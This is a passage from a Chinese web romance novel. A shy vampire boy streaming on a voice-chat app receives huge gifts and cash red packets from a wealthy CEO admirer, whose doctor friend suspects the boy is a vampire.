潜藏在跳动的脉搏下极速流动的、诱人的芬芳。 他锋利的下颌线, 凸出的喉结, 还有身上那股雪松与檀香的味道, 都如同牛排上的迷迭香一样——是那种诱人血液的佐料。 宁尔半眯着眼睛, 仰起脖子,冰凉如水的月光洒在他身上, 任由尖牙仍未收回,贪婪地嗅着空气中残留的味道。 舟先生却丝毫没有意识到任何危险。 宁尔依稀记得,最后他差点用尖牙刺破舟先生脖子的那一刻,舟先生竟然都不懂得躲,反而好像还动了动脑袋, 离他更近了一点儿,好像要迎着他凑上来一样。 凑过来被他更方便咬吗? 舟先生难道都没有发现他浑身都是冰冰冷冷的吗? 宁尔和其他人比,是笨了一点。 可是和舟先生比,还是太聪明了。 一阵风从窗外吹来,宁尔下意识抱起自己还有点疼的肚子。 抱抱…… 回忆起刚才被舟先生抱着的感觉, 宁尔的心跳又咚咚咚地快了一会儿。 那是吸血鬼从小到大练习过很多次的仿真狩猎姿势之一。 可是、可是为什么和人类做的时候, 会有一种那么奇怪的感觉…… 傅宴舟走出廉价出租楼,肖特助早就一脸严肃地等在了门口。 见到傅宴舟出来,神情稍微松了一点儿, 大步迎上去: “傅总,没事吧?” 傅宴舟看到他一副大敌当前的神情,缓声开口: “我没事。你有事儿?” 肖特助蹙着眉间日益加深的川字纹: “这种地方鱼龙混杂,我刚刚等您的时候进去三四群浑身画臂纹身的社会小青年,地上的啤酒瓶渣就是刚刚打架碎的。” “虽然不知道您这么晚会为了谁来这种地方,但实在不安全。” 傅宴舟让肖特助先回车上等他,自己站在楼外,瞥了眼不远处随着的玻璃渣,解开衬衫的第一道扣子,深深地吸了一口空气。 傅宴舟好像自己也不明白,为什么会直接出现在这里。 也许是少年在电话里虚弱焦灼的声音? 也许是他怕浪费把那么多杯奶茶都喝了?还告诉他因为是他点的,所以一定要喝完。 还傻乎乎地在语音房分享第一次喝到奶茶,被人攻击故意卖惨。 为什么那么害怕被他看脸?还用那么奇怪的躲藏方式? 少年的单薄瘦弱身体和笨蛋的模样和网络上没什么差别,拥在怀里的时候有种陌生却熟悉的感觉。 明明一直在赶他走,在知道他刷了很多礼物,赢了pk之后,又忽然大胆地凑近,在吻上他的前一刻又忽然意义不明地把自己推出去。 冰凉的鼻息缠绕在他的颈间,磨蹭中的若有若无中,似乎有一瞬间肌肤的触感。 傅宴舟呼吸更加急促起来,又解开了一道扣子。 这只是66万,再多加个0呢?- “66万???” “660000!!” 宁尔几乎er地一下晕过去了。 “我靠,醒醒,醒醒!” 陈元之疯狂晃动宁尔。 宁尔瘫在沙发上,重新迷迷糊糊睁开眼睛,手机界面上停着的礼物清单仍然让他触目惊心。 昨晚舟先生走了之后专门给他发了条手机短信,告诉他情绪的起伏会让胃疼,叮嘱他今晚好好休息,不要再上缘来,春风那边他已经告知过一切安全。 宁尔乖乖听了话。 只是他没想过,会是这么大的起伏。 平时一个6块的礼物都能让他们叫着宝宝开心半天。 6000块的礼物都可以触发两次嘉年华特效,在榜一上待上好久。 前一天舟先生的6万6已经让宁尔和整个语音房都小火了一把。 66万…… 宁尔简直都不敢想象昨晚舟先生刷出来这个数字之后直播间会是什么样子。 哪怕被平台扣除一半儿,他的账户里也实实在在躺了33万。 天呐…… “元之,33万可以干什么?” 陈元之:“基本这几年可以几年什么都不用干了。” 宁尔吞了口口水。 宁尔不知道舟先生到底有多少钱,但一夜之间给他刷这么多礼物,的确很多很多了。 舟先生不仅刷了礼物帮他赢了pk,还那么晚亲自送药给他。 可他……可他却差点没控制住自己伤害了舟先生。 他从来没有吸过真的人血,也不知道真正的失控到底是什么感觉。 宁尔浑身瞬间泛起一阵后怕的冷意,冷得他打了个哆嗦。 可是为什么他和陈元之、靳伟认识这么久,就没有那种感觉呢? 陈元之还在美滋滋观摩昨天的66万pk战局回放,忽然感觉背后发凉。 一回头,宁尔不知道什么时候像个鬼一样站在他身后了。 苍白的小尖脸,额头垂着几根棕色卷毛,碧绿幽深的眼睛正专注地盯着他的脖子。 身体还不断地往前倾,还有凑近的意思。 陈元之下意识捂住自己的脖子,反手在宁尔的小肚子上推了一把: “我靠宁尔你要干啥?出柜了啊?哥直男啊。” 奇怪,对元之就没有那种感觉。 宁尔嘟嘟囔囔了一句。 看来,以后还是尽量不要见舟先生了。 做好他消遣时候的网络虚拟恋人就好了。 宁尔切回到了缘来的私聊,春风哥的消息像轰炸一样,从昨晚他消失开始,满屏幕问号感叹号。 宁尔心虚地给春风哥发消息: [春风哥,对不起,昨天让你担心了。] 春风哥几乎是秒回:[不用,你不用对不起,不用客气。] 完蛋了。 春风哥好像生气了,在说反话。 宁尔有点难过,赶紧继续道歉: [对不起春风哥,我昨天忽然肚子特别特别疼,真的没有力气回消息,不是故意的。] 春风与你皆过客: [我的祖宗啊,真的没关系,你别道歉了求你了。] 更生气了。 宁尔:[大哭/大哭/大哭/春风哥啊呜你别这样……] 春风与你皆过客:[流泪/流泪/流泪/别求我了,哥给你磕一个行吗?] 宁尔正急得不知道如何是好,春风哥忽然给他发来一张图: [这是昨晚粥哥给你刷完礼物之后给我们每个人的陪位费,我是房主更多一点儿,小耳朵,哥哥们不能没有你。] 宁尔定睛一看,将近一万块…… 那好像的确是不能再生气了哦。 宁尔努了努小嘴。 当语音房的单次礼物达到3000块时,会触发一个一分钟的录屏。 无论是给山屿春风他们随麦礼,还是那66万,全程都被自动录了下来。 宁尔和春风哥要来这两段几乎接着的视频,看到屏幕上那些几乎把整个屏幕都染成炫白的特效,不知不觉间握紧了双拳。 太刺激了! 原来66万的特效是这样的。 66万的特效礼物一出,整个评论区和带着礼物上公屏的话几乎都看不清,语音房右上角的人数几乎以每秒刷新着一个新数字。 再冷漠的鬼看到这一幕都会激动起来。 视频戛然而止,宁尔的心跳也跟着砰砰砰跳得很快。 可遗憾的是,他这个亲亲小耳朵本朵没能看到。 没关系,只要他每天直播,多去逛逛排行榜上靠前的语音房,总能再见证一次,无论是谁的~ 宁尔又打开自己的主页,这回更是吓得差点把手机掉了。 20000个粉丝! 明明昨晚还只有100多个。 新的粉丝他不了解,旧得有几个他眼熟的头像,竟然还有人把ID都改成了“亲亲小耳朵野生后援”、“小耳朵朵粉”。 宁尔点开缘小圈,那条膝盖的伤以及玫瑰花的动态底下的新评论已经99+了。 尤其是那条膝盖的圈。 什么样的评论都有,他根本都不好意思看。 宁尔有种被扒出什么见不得人事的感觉,耳朵真的红了起来。 5w+观众浏览过这条动态, 5w个人类看过小吸血鬼的膝盖…… 在这个吸血鬼和人类互不干涉且濒临灭绝的时代——挺幸运的,人们。 宁尔退出自己的动态,紧接着却翻到了缘来官方剪辑的昨晚的回放视频,旁边还配了他头像的照片: “语聊新星。” 小小的吸血鬼头像骤然变成一张大大的照片,天呐。 亲亲小耳朵,你是真火了。 陈元之告诉过他,互联网上,有人喜欢他,就会有人讨厌他。 果然,宁尔打开“被屏蔽消息”那一栏,有几个已经被系统自动屏蔽掉的私信。 大概就是骂他或者和他提一些奇奇怪怪要求的人类。 幸亏前几天舟先生下单的时长足够长。 否则,他现在还不一定要接哪个新人类的虚拟恋人单。 还有很多没有被屏蔽的私信,宁尔一条条看完,除了和他打招呼、或者表示喜欢他的,还有一些拉拢他到其他直播房团队的。 有的让他当副房主,有的说给他开保底月薪,有的说给他多少抽成点数。 叽叽咕咕说什么呢。 看不懂,关掉- 蒋昀亲自拎着一大堆营养品保健品下楼,私人地库里傅宴舟那辆劳斯莱斯明晃晃地亮着两只车灯。 司机下车礼貌地接过药品放入后储,为蒋昀打开门。 傅宴舟正戴着金丝眼镜看最新的科技资讯,蒋昀上了车,立马丢开医院里那副正经院长的样儿,甩了甩胳膊故意道: “不让我叫助理拿就算了,你不是带了司机么?我手都拎酸了。这可是拿手术刀的手。” 傅宴舟摘下金丝眼镜,瞥了一眼人,嘴里冷冷地吐出两个字: “矫情。” 蒋昀也没真计较这些,大大咧咧往座椅上一坐,翘起二郎腿: “还是上次那小孩?” “嗯。” 傅宴舟平时八百年不联系他一次,最近这个月先生当菩萨给人治病,又是连夜要胃药,还亲自来取维生素保健品,他再不好奇就能原地出家了。 “谁啊到底?我简直想破脑袋也想不出来。” “八竿子打不着的老家亲戚?不可能。你们傅家八竿子打出去也都是有钱人。” “酒吧偶遇的漂亮男孩?不可能。那个男孩不像是去酒吧傍大款的类型。” “我像会去?”傅宴舟忍不住出声打断反问。 “确实,你也不像。我想象不到堂堂傅总出现在那种酒吧的样子。” 蒋昀像是自己在颅内想象到了什么,自己把自己逗乐了: “诶?难道你在什么山区领养的儿子?” “滚。” “我们看起来,年龄差很大么?” 傅宴舟不轻不重地骂完蒋昀,却稍有不自在地往松扯了扯领带。 “我靠,这么在意啊?” 蒋昀和傅宴舟从小一起长大,这人表情再细微他也能猜到情绪。 “其实你也不用自卑。虽然他年龄小又长得漂亮,但你有钱啊。30岁比起19岁的小孩确实老,但在这么有钱的人里你算年轻。” “有安慰到你吗?” 傅宴舟感觉太阳穴又突突跳了起来,揉了揉眉心: “趁我买下这家医院之前闭嘴。” “……” “说正事。” 蒋昀难道有机会在傅宴舟面前贩剑,说够了开始给他简单介绍那个小男孩的基本身体情况,以及后续补充营养的方式: “那些维生素营养品医师都写好了服用方式,按照说明吃,定期来医院复查就可以了。” “你要实在不放心,再带他来做个全身方方面面各个部位的体检。我们院都是对标三甲的顶级进口检测医疗器械……” “他害怕来医院。”傅宴舟打断他。 蒋昀:“……彳亍。” 蒋昀无奈地撇了撇嘴:“反正上次看骨头没什么事儿,应该问题不大。” “他的手很凉。或者说,全身的皮肤都很冷。” 傅宴舟回忆着昨晚的感觉。 起初他以为小耳朵是因为肚子疼痉挛导致浑身发冷,直到他把人抱在怀里几分钟,始终没感受到半点回温。 那是一种,近乎不正常的冷。 蒋昀难得没有开玩笑,也认真回忆: “你这么一说好像确实,上次给他检查时候碰到他,皮肤的确很凉。” “碰哪儿了?” 傅宴舟忽然扭头,一双深邃的墨瞳极具压迫感地盯着蒋昀。 “……傅宴舟我是医生!医生!” 傅宴舟冷冷地哂了他一句: “你也知道你是医生。” 仿佛在嘲笑他没正形。 蒋昀莫名其妙吃了瘪,给他解释了几种关于浑身发冷的医学解释。说到最后,蒋昀忽然神色严肃地沉默了下来。 “你平板借我用。” 傅宴舟扬了扬下巴示意。 蒋昀打开浏览器界面,输入了一个全英文的网站,神色严肃地搜索了一会儿,垂着发丝的眉头越皱越深,最后停在一个界面上。 他抬起头,神色严肃地看着傅宴舟: “老傅,你相信世界上现在还有吸血鬼吗?” “……” 傅宴舟:“下车。” 蒋昀:“不是老傅,没开完笑我认真的。” “吸血鬼在地球上本来就存在过。虽然近两百年来没有确切证据能够证明他们还存活,但也不能证明不存在。就像美人鱼一样。” “你可以看看这个网站,收录了世界各地近百年来关于发现吸血鬼存在的证据。” 傅宴舟挑眉:“你想说什么?” 蒋昀认真思索: “那个小男孩没有身份证,不敢去医院,说起话来有时候也和正常人不一样,皮肤那么白,还浑身发冷。最关键是相貌。” “哪怕戴着帽子眼镜,也能看出来那种漂亮……漂亮得不像人。尤其是那双眼睛。你觉得……” 蒋昀自顾自说了半天,回头一看傅宴舟的神色吓了一跳。 傅宴舟的神色中不是对他胡乱猜测的怒意,神情中反倒是流露出一丝略有幻想的迷茫。 “你不会……你不会都没见过他吧?” 傅宴舟神色稍稍黯了一瞬,敛眸,语气中听不出情绪: “没。” “我靠,有点儿东西。” 一个都没见过的小男孩,能让堂堂傅宴舟傅总又关心身体又连夜送药。 是道德的光芒还是人性的辉煌? “有点正形。” 傅宴舟又教育他。 蒋昀贱兮兮地嘿嘿一笑,把身上干净没有任何褶皱的白大褂拢了拢,胸前口袋里“院长”的胸牌别好,故作深沉地看着傅宴舟问: “这位患者家属,现在行么?” 傅宴舟抬眼看了他一眼。 蒋昀也只有认真穿着白大褂的时候仪容仪表过得去。 傅宴舟想到小耳朵说的那句,院长哥哥是他见过最帅的人。 少见多怪。 蒋昀完成作为霸总的发小医生使命,拍拍大褂打算离开,走之前傅宴舟倒是难得开口反问了一句: “你不好奇他是谁了?” 蒋昀看着劳斯莱斯真皮座椅上这个西装革履,一丝不苟,金丝边框眼镜下那双深沉无比的傅家掌权人。 蒋昀尽量控制表情: “这种阶层的男孩,和你的交集能有多久?是谁又有什么关系呢?” 傅宴舟这种家族精英,年近三十,从小到大主动靠近、家族塞到身边的男男女女不计其数。 大学公然宣布出柜,后来却也一直忙于掌舵傅家商业帝国,没交往过任何男孩。 所有人都默认他这样的人背负太多,思虑太深,私底下能搞定的感情,没必要拿到台面上。 只有蒋昀这种关系最近的人才知道,傅宴舟的确一直单身。 在他眼里,和一个知道他身份倾慕爱恋他的人谈恋爱分泌的肾上腺素,远不如吞并某家国际公司,或者手里看好的虚拟货币短期内翻了千倍愉悦。 这样的人,无论对方是谁,蒋昀都不必操傅宴舟的心。 至于那个小男孩…… 至少,以后不会再缺钱了。 傅宴舟不知道蒋昀短短几秒心里活动这么多,也没有反驳蒋昀的话。 关上车门,夜色中的劳斯莱斯再度陷入安静。 他拿起平板,翻阅了一会儿蒋昀打开的那个界面。 一些吸血鬼爱好者,或者国际机构,致力于证实现今世界仍有吸血鬼这一物种的存在。 那些疑似捕捉拍摄到的吸血鬼照片看得傅宴舟眉头轻蹙。 尖尖的耳朵,苍白的皮肤,红色的眼睛,嘴边伸长的尖牙。 面对镜头无一不狰狞的恐慌。 傅宴舟脑子里再出出现宁尔那张故意用了吸血鬼特效的漂亮特效。 碧绿的眼睛,被特效拉尖的小圆脸,昨夜不小心蹭到他的圆圆的耳朵—— 还有那副笨笨傻傻的样子。 傅宴舟忍不住哂笑了一下,轻微摇摇头,关闭界面,无奈地收起平板- 晚上10点,春风的语音房准时开播。 春风告诉小耳朵先别上麦,等留够悬念拉满期待感再出现。 这个办法他们已经配合用过很多次了。 春风哥告诉他,这叫屡试不爽。 宁尔有些不明白。 他觉得春风哥还挺爽的。 在语音房刚开播的一分钟内,就涌入了2000多人。 宁尔躲在屏幕外面,没上麦也没评论,混在2000多观众里视奸评论区。 人多是他意料之中的,可为什么每一个进来的人几乎都会说一句“看看66万”、或者“66万礼物长什么样”之类的? 宁尔正纳闷着,手指随意在屏幕上戳了戳,恰好把页面介绍戳出来,原来是春风哥直接把今天语音房直播的标题设置成了“昨天收了66万礼物”。 …… 也太直白了叭。 宁尔照例磨蹭了几分钟,等春风哥控完场之后才被抬上四号麦。 由于他被送了太多礼物,宁尔的头像上带了一圈镶钻王冠似的边框;春风哥他们因为舟先生的嘉年华,头像上也有一圈五颜六色的动态特效边框。 整个语音房一时间十足地炫彩夺目。 果然,他一上来评论区立马快速滚动起来,各种小爱心墨镜玫瑰花像不要钱一样纷纷砸来。 宁尔定睛看了会儿评论区,基本都在问关于66万、要看看66万的主播是什么样的问题。 宁尔悄悄吐了吐舌头,脸皮有些发热,但他现在已经完全不会像之前那样看到人就紧张,磕磕巴巴说不出话了。 宁尔吸了口气,调整嗓音,打开麦克风: “大家好,我是小耳朵,为我而来,欢乐多多~” “你们一定很好奇我的声音和才艺。这就是我的声音,如果喜欢,就多留在这里一会儿,让我陪你们聊聊天~” 宁尔少年清澈的声音娓娓道来,虽然有一点故意夹着,但更多的是认真交流,语气里没有丝毫媚粉,满是纯真。 直播不到一周就遇到专属金主打赏66万,很难不纯真。 果然,宁尔一说完,评论区都是对他声音的各种评价。 有好听的,当然也有不好听的。 宁尔一一谢谢了那些夸他的评论,至于那些不好的。 他现在已经不那么往心里去了。 那些都是说亲亲小耳朵的,和他宁尔有什么关系? 众多飞快划过的弹幕中,宁尔看到了一个熟悉的“葡萄沙冰”,她刷了玫瑰花,一直坚持发选她上麦。 宁尔直接点击头像把葡萄摇上了麦。 “晚上好,葡萄宝~” “小耳朵,你昨天怎么忽然掉麦了啊?” 在所有人都在关心66万的时候,还有人担心他昨天忽然的掉麦。 宁尔小小地愣了一下,鼻子有些发酸,回答: “葡萄宝,我昨天忽然肚子疼,疼得实在播不了了,抱歉让你们担心了。” 葡萄冰沙:“肚子疼?为什么会忽然肚子疼?是因为喝奶茶吗?” “嗯……” “一般奶茶不会肚子疼啊。你是不是放太久变质了?哪个牌子啊?” “不、不是”宁尔有些不好意思地小声道: “可能我一下子喝了太多杯。” “你喝了几杯呀?” “……” “4杯。大杯。” [哈哈哈哈哈哈哈我的妈呀] [这就算不肚子疼也睡不着了吧] [宝宝你怎么这么傻这么可爱啊] [本来就第一次喝,这下彻底戒了] [从入门到结束] [昨天谁质疑小耳朵假装卖惨说没喝过奶茶的?出来道歉!] [新来的,奶茶什么事儿啊啊啊求科普] 有几个热心观众给新观众解释了昨天的“奶茶风波”,大家似乎也相信了他真的是第一次喝奶茶,只不过这样的证明方式有点另鬼难为情。 “那你现在好了吗?”葡萄沙冰继续关心。 “好了,已经都好了。” “有一位热心的人类,昨晚给我送了药。很管用。” [哇哇哇闻到了瓜的味道] [谁啊谁啊谁啊?] [那么晚亲自送药,已经不是热心了吧。] [是粥哥吧?!是吧是吧!] 语音房里有些新来的观众完全不了解亲亲小耳朵,奶茶的事儿还能听懂几句,聊到什么粥哥菜哥的私人话题就完全不懂了,语音房瞬间流失了一半儿人。 不是,这些人懂不懂啊? 吃瓜都吃不明白? 春风与你皆过客都看不下去了,在一个间隙抢过麦: “咳咳,补充一下,粥哥,粥老板,全称银耳粥。” 明示。 果然,直播间的人立马又涌回来了。 [不像,小耳朵肚子疼的时候粥哥还在刷大火箭呢。] [对啊,粥哥都差点没赶上Pk的最后一分钟,肯定是刚上。] [万一粥哥是一只手刷大火箭,另一只手开车去给小耳朵送药呢?] [哈哈哈哈] [哈哈哈哈楼上,你现在的首要任务是卸载某软件] 众人调侃了一会儿,葡萄又替众人问了一下: “所以,热心人到底是谁呢?” “其实他是……”宁尔故作神秘地停顿了一下,然后故意道: “不告诉你们~” [喂喂喂小耳朵学坏了!] [???我们不是你的宝们吗?] [@春风与你皆过客,你教的吧?] [小耳朵以前可是连家庭地址都能被套出来的笨宝] [学坏了] [学坏了] 宁尔看着大家的调侃,不仅没有道歉解释,反而压低声音,清了清嗓子,故意用更夹的嗓音在麦里说: “变坏了,宝们还会喜欢吗?” [啊啊啊啊啊我听到了什么] [真变坏了这回是真变坏了] [到底是谁教你的] [笑鼠我了宝宝你不是这款的啊别乱学!] [不过你别说,小耳朵夹起来声音也很撩啊] [极品天菜少年音好吧。] [喜欢。] 宁尔隔着屏幕,嘴角已经得逞似的扬得高高的。 他早就和元之学习过怎么撩妹了。 宁尔正沉浸在自己的艺术当中,一道绚丽的出场特效吸引了全场人的目光。 [银耳粥开着豪华超跑来到了语音房] 超级炫酷的大老板特效让评论区沉默了一勉,紧接着就是: [哈哈哈哈哈] [哈哈哈哈哈粥哥怎么好像是卡着点儿进来抓小耳朵的] [不会啊,粥哥没准也是来享受的] [这就是传说中的高冷66哥吗] [哥你能随便赏我点儿吗就当钱丢了] 宁尔和舟先生的关系已经被默认深度绑定了,他一进来,评论区都在开两个人的玩笑。 春风接过了麦: “欢迎咱们粥哥粥总粥老板来到语音房,粥老板今天上麦吗?” 银耳粥在评论区打字:[不。] “那把麦给小耳朵和您聊?” 银耳粥:[不用。] 春风:“好嘞。” 舟先生就没再说话了。 宁尔本来在肆无忌惮聊天,不知道为什么,自从舟先生进来、评论区很多人都在调侃他俩之后,反而有点不好意思了。 真奇怪。 这明明是一个人人都可以下单、打赏聊天的语音软件,大家却好像默认了他和舟先生彼此之间有一种独特的关系。 宁尔自己看着舟先生的ID,不自觉地回忆起昨晚那个陌生又心跳的拥抱…… 他有些不自然地和舟先生打了个招呼,就把麦让了出去。 麦位在几个主播之间传递了一会儿,语音房人多的好处就是曝光多,多被一个人看到,多被一个人喜欢的概率就更大。 所以这两天不止是宁尔,春风他们的粉丝也涨了很多,一直都有排单,整个语音房排名一直在上升,大家播得也更有动力了。 麦再次回到小耳朵那里,聊了几个天之后有人直接下单了一个才艺麦。 才艺…… 他还没有在语音房里表演过才艺。 宁尔把人摇上了麦,问: “宝你想要我表演什么才艺呀?我会讲……” “唱歌!我想听你唱歌小耳朵!” “啊……唱歌吗……”宁尔声音心虚地弱了下来。 不露脸的语音房里,唱歌是最基础的才艺。 可是宁尔作为一只小吸血鬼,学会人类说话已经很厉害了,唱歌实在太难了。 “对呀,想听你唱歌。小耳朵你是不会吗?” “也、也不是不会,就、就是不太擅长。”宁尔心虚吞了口口水。 他的心虚好像已经被大家听出来了,评论区又在哈哈哈,连麦的观众也好奇地问: “那你擅长什么才艺呀?” “我、我”宁尔飞快地瞥了一眼屏幕,脸色有点微红: “我擅长辣舞。” [哈哈哈哈哈哈哈] [救命要被萌晕了。] [宝宝你知不知道你都不如这句话辣。] [宝宝你就是块奶油小蛋糕。] [真的吗哥哥?好想看好想看] [好可惜缘来只能语音直播啊] [信他会辣舞还是信我是秦始皇?] 啊。 怎么没有人相信吖! 那可是他为了勾引舟先生专门学了三天,后来又偷偷练过很多次的辣舞。 宁尔十分挫败,但确实没办法证明,只能幽幽道: “宝,你不信吗?” 连麦的观众好像也在忍着笑: “信、信,不过我现在还是更想听歌呢。” “想听歌的家人们一起给小耳朵上上礼物啊。” 这个观众的号召力很强,一说完就有好多小爱心玫瑰朝小耳朵的头像上飞去,评论区也出现了各式各样的歌名。 还点起来了。 不知道谁说了一句:[要不让粥哥点] 评论区很快就跟风起来:[对对对粥老板点吧] [哈哈哈好奇粥哥想听小耳朵唱什么歌啊!] [66哥上!] [不是,我说你们不至于吧?] [送了一天礼物而已,主播又不是卖给他了,至于吗?] [人家有钱又不给你们,至于这么舔吗?] 一个一直潜水的“至于姐”忽然连发了三条,打断了评论区一串的粥哥。 很快有人附和她: [是啊,明明才艺表演是其他人刷的礼物。] [再舔礼物和米儿也是主播自己赚,和你们有什么关系……] 眼看评论区就要乱起来,宁尔感觉打断。他清了清嗓子,认真地对着屏幕说: “抱歉宝宝们,我的确不擅长唱歌。你们发的那些歌名我很多都没有见过。” “但是,我一定会很认真唱的。等我去拿一下歌词本。” 宁尔快速地跑到柜子下,拉开抽屉把之手抄过的几首歌的歌词本拿出来。 元之告诉过他,唱歌是语音房的必备才艺。 所以哪怕不擅长,他也认真地抄过很多首歌词。 宁尔重新戴好耳机,一边哗哗哗翻动歌词本,一边对着麦道: “先说好了,如果唱得不好,宝们也要小点声笑我哦。” 宁尔盯着评论区,观众们很快刷了很多调侃或者安慰他的话,直到那条顶着炫酷特效的ID发言。 银耳粥:[不会。别紧张。] 宁尔的心咯噔跳了一下。 舟先生的这句话,让宁尔想到了昨晚他轻轻拥着自己,抚摸着他的后背说,你太瘦了。 手指翻到一页歌词上,宁尔盯着那几句歌词出神。 片刻后,少年纯净温暖的声音在话筒里小心翼翼地响起。 不像专业歌手的技巧处理,听起来也没有出色的乐感,但每一句都真诚诉说,一个个音符随着歌词蹦出来: “Tell me why 想不透” “你让我多么心动” “遇见你是生命中最美的彩虹” …… “我会一点一点想你” “一天一遍放在心里” “等到那天终于靠近” “脸红害羞就深呼吸……” 没有任何伴奏,宁尔认真地清唱完这首歌,唱到后面他已经闭上了眼睛,结束之后再睁开,有些紧张,又期待地看向评论区。 [哇哇哇好好听啊宝宝] [好听的好听的!] [表白情歌耶!宝宝你在和谁表白啊?] [真的好难猜呢对吧粥哥] [哈哈哈你们在起哄一会儿粥老板又要狂砸火箭了] [又开始了又开始了] [你们干脆把语音房标题改成“进来看舔狗表演”吧] [一个50级而已,小软件没见过真大哥] 宁尔看着后面这些评论,眉毛不自觉地拧了起来。 有些节奏一旦带起来就开始越演越烈,今晚从舟先生进来之后就一直有这样的声音。 他甚至,不知道该怎么和这些人讲道理。 似乎感受到了小耳朵的沉默,舟先生忽然在评论区发言了: [@春风与你皆过客私我一下] 有了前两次的经验,宁尔马上猜到舟先生可能又要对他使用钞能力了,赶忙道: “不要舟先生,不要。” “请你千万不要再给我刷很多礼物了,昨天的火箭已经很漂亮啦。” 宁尔有些着急,他想赚钱,想网恋,哪怕有一些欺骗,但也是希望亲自让舟先生为他刷礼物。 而不是这样,一次又一次地因为这些坏人在直播间为他解围砸钱。 银耳粥:[嗯,不刷。] 过了一会儿,舟先生回答了宁尔的话。 宁尔松了口气,下一秒,屏幕的左上角忽然直接出现了5个价值1万元的颤抖的现金福袋。 银耳粥:[从现在起,房主会帮我把最高金额福袋不间断发到直播结束。] 银耳粥:[感谢大家喜欢小耳朵。] 在所有人下意识去抢那些实时到账的现金红包福袋、评论区安静地停滞的间隙,一朵平平无奇的红色玫瑰特效出现在了屏幕上。 银耳粥:[@亲亲小耳朵这个是你的]—— 作者有话说:让桃某学一下大气傅总,这章继续评论红包走起~ 第23章 大家好,我是小耳朵的舟…… 宁尔看着屏幕上那朵玫瑰花特效, 心跳仿佛漏了一个节拍。 在满屏抢到了多少现金红包的提示中,在占据了大半个屏幕的现金财宝福袋里,宁尔的目光被那朵小玫瑰深深吸引。 一如当时舟先生给他变过的那个魔术。 宁尔抬起头, 看着阳台上被他小心翼翼插在花瓶里的“假玫瑰”, 脑子里莫名出现了昨天那个身材高大、西装革履的舟先生手里拿着一枝玫瑰花的样子。 怦、怦。 心脏又在胸腔里重重地跳动了两下。 第一轮红包结束的间歇, 评论区彻底开始狂欢。 [玩缘来这么久,第一次见现金福袋] [我比你好点, 就是没见过这么大的] [啊啊啊啊我抢到500!父亲母亲, 我发财了!!] [夺少??你说夺少??] [怎么我才30啊啊啊啊!!谁在替我平均?谁在替我岁月静好?] [0.2是2毛的意思吗?我好像有点眼花了] [哈哈哈哈哈5万块的红包你抢了2毛??] [哈哈哈哈兄弟脸太黑了吧?快去敲敲木鱼] [敲什么木鱼啊, 还不如来和小耳朵许愿] [不对不对, 应该和粥老板吧!!] 语音房的福袋分为三个类型, 最常见的就是发钻石,缘来里充值到账户、用来买礼物的流通货币。 十几个钻石也就是一毛钱。 还有就是礼物福袋, 塞上各式各样的礼物在福袋里,抢到什么就能直接拥有那个礼物。 最罕见的就是现金福袋了。 这就相当于直接给一群陌生人撒钱。 偶尔遇到很有钱的大哥大姐,或者想通过这个来吸引观众的才会发几个,也没有这么大的数额。 如果说银耳粥给小耳朵刷66万为了博主播一笑还能理解,给观众不间断发这么多红包。 大概率就是真大佬了。 缘来只是一个小得像同城涩情劣质软件的不露脸app。 小耳朵这个住在出租屋没有喝过奶茶的小男孩出现在这里正常, 粥先生这种老板又为什么愿意在这儿一掷千金呢? 趁第二轮红包冷却的10分钟内,春风哥开麦了: “下一轮红包我要设置口令条件了啊,所有人都得发一句‘小耳朵我喜欢你,粥哥威武’。” [哈哈哈哈太简单了吧] [声明,我可不是为了红包, 我是真这么想的] 红包口令, 顾名思义,所有想领取福袋的观众都得在评论区自动发送那句话。 大多数都是用来吸引观众留观率的。 比如很多语音房会设置成“发生什么了?”后面不明所以进来的观众就会以为有瓜,像猹一样蹲在语音房里蹲守。 春风这个口令设置的简直太温柔了, 甚至不像他的性格。 果然,在评论区还没安静下来,第二轮福袋就开始了。 依旧是五个一万块。 一众口令中,春风准确抓到了刚刚带节奏说什么“给大哥当舔狗”那些评论的那个观众,直接给她抬上了麦。 刚刚还在语音房里骂大家是舔狗,看不起粥先生臭钱的人,此刻却也说着“小耳朵我喜欢你,粥哥威武”。 “来来来你开麦,至于姐” 那么头像似乎犹豫了一下,下一秒打开麦,一个有点尖锐的男声没好气地说: “你没事儿吧?把我抬上麦干嘛?” “我靠,男的啊?” 他用了一个纯女孩的头像,资料也填着女,被大家都默认成了女生。 春风没有发火,皮笑肉不笑地嘿嘿了一声: “没事儿,就是问问你为什么要抢粥哥发的福袋。我记得刚刚你骂大家拜金舔狗来着。” 屏幕那边的人好像一瞬间语塞,“我”了两声之后,生硬着语气: “发了福袋我凭什么不能抢?和你有关系么?” 春风与你皆过客:“我的房你说和我有关系吗?真逗。” 底下评论也都在讨论至于哥,她呵呵笑了一声: “你什么意思?挂我啊?网暴素人?” 春风不急不躁:“我可没有。我摇你上来是因为粥哥有单独现金福袋发给你。” 对面显然十分没想到,愣了一下: “什、什么福袋?” 这个人从第一轮红包时候就抢了,第二轮设置了口令还在,显然是没少抢。 所以哪怕这样了,都不舍得离开房间。 春风与你皆过客:“你刚刚总共抢了多少?” “关你什么事儿?” 春风与你皆过客:“让你说你就说,废话那么多。” 至于哥犹豫了一下:“3、300多。” [我靠] [凭什么啊凭什么啊] [退钱!黑粉退钱!] [不是看不上粥哥的臭钱吗?抢得到挺诚实。] [我怎么隐约记得这个ID也骂过小耳朵啊] [好像还真是。之前好像说过小耳朵故意说话慢,想拖延时间多赚点米……] [我找到了!!我就说这个ID怎么这么眼熟,他还在小耳朵膝盖受伤的那条缘小圈底下评论过“超绝经意勾引男人拍照姿势”。] [把我40米的大砍刀拿来] 春风没着急,笑了笑,故意拉长语调: “300多,手气不错啊。粥哥说了,只要你发一句‘我是舔狗,我喜欢粥老板的钱’,再给你单独发个十倍的。” 3000! 赶上一个嘉年华的价格了。 还不用被平台抽一半儿。 [我靠,有点太羞辱人了吧春风?真的有人会为了区区3000块说这种话吗?] [对啊,你也太看不起人了吧] [别人就算了,这可是至于哥!人家都说了最讨厌舔狗了。] 评论区瞬间都是看热闹不嫌事儿大的,一时间根本分不清哪句是阴阳怪气。 好像每句都是。 宁尔其实已经不记得这个人给他评论过什么不好听的话了。 因为他觉得记住这些话才是对自己的伤害,最好的方式就是小耳朵进,小耳朵出。 他听着春风提的条件,忍不住给舟先生发消息: [舟先生,真的是你这么要求的吗?] 舟先生很快给他回了消息:[不是。] [怎么了?不喜欢我欺负人?] 宁尔心里暗暗松了一口气。 他不觉得这样有多过分,只是不想舟先生的钱和情绪浪费在这种人身上。 亲亲小耳朵:[没有没有,哥哥不像是会欺负人。] 宁尔发完这句话又觉得不对,嘟着嘴打字: 